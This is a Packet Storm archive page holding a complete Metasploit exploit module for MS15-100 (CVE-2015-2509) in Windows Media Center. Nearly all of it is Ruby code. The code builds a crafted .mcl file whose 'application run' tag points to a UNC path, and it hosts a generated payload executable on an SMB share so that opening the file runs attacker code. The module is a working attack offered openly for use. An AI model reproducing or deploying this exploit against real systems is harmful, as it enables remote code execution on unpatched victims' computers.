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packetstormSinn3rPACKETSTORM:133540
HistorySep 15, 2015 - 12:00 a.m.

MS15-100 Microsoft Windows Media Center MCL Code Execution

2015-09-1500:00:00
sinn3r
packetstormsecurity.com
42

0.974 High

EPSS

Percentile

99.9%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::SMB::Server::Share  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS15-100 Microsoft Windows Media Center MCL Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability in Windows Media Center. By supplying  
an UNC path in the *.mcl file, a remote file will be automatically downloaded,  
which can result in arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r',  
],  
'References' =>  
[  
['CVE', '2015-2509'],  
['MSB', 'MS15-100']  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => 'false'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "Sep 8 2015",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']),  
OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe'])  
], self.class)  
  
deregister_options('FILE_CONTENTS')  
end  
  
def generate_mcl  
%Q|<application run="#{unc}" />|  
end  
  
def primer  
self.file_contents = generate_payload_exe  
print_status("Malicious executable at #{unc}...")  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
mcl = generate_mcl  
file_create(mcl)  
end  
  
end  
`